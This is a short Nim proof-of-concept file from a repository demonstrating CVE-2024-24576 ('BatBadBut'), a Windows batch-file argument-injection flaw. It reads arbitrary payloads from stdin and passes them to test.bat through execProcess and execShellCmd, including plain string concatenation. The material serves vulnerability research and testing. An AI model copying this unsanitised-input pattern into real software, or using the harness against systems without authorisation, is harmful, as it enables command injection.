STRLCPY/CVE-2024-24576-PoC---Nim

■ ■ ■ ■ ■ ■

main.nim

1	+	# BatBadBut: You can't securely execute commands on Windows
2	+	# CVE-2024-24576
3	+	# https://github.com/frostb1ten/CVE-2024-24576-PoC
4	+	# https://flatt.tech/research/posts/batbadbut-you-cant-securely-execute-commands-on-windows/
5	+
6	+	import osproc, os
7	+
8	+	block execProcess_NoQuoteShell:
9	+	echo "[*] execProcess NoQuoteShell"
10	+	echo "enter payload here"
11	+
12	+	let input = readLine(stdin)
13	+
14	+	let output =
15	+	execProcess("test.bat", args = @[input], options = {poUsePath,
16	+	poStdErrToStdOut})
17	+
18	+	echo "Output:\n", output
19	+
20	+	block execProcess_QuoteShell:
21	+	echo "[*] execProcess QuoteShell"
22	+	echo "enter payload here"
23	+
24	+	let input = readLine(stdin).quoteShell()
25	+
26	+	let output =
27	+	execProcess("test.bat", args = @[input], options = {poUsePath,
28	+	poStdErrToStdOut})
29	+
30	+	echo "Output:\n", output
31	+
32	+	block execShellCmd:
33	+	echo "[*] execShellCmd"
34	+	echo "enter payload here"
35	+
36	+	let input = readLine(stdin)
37	+
38	+	echo "Output:"
39	+	discard execShellCmd("test.bat " & input)
40	+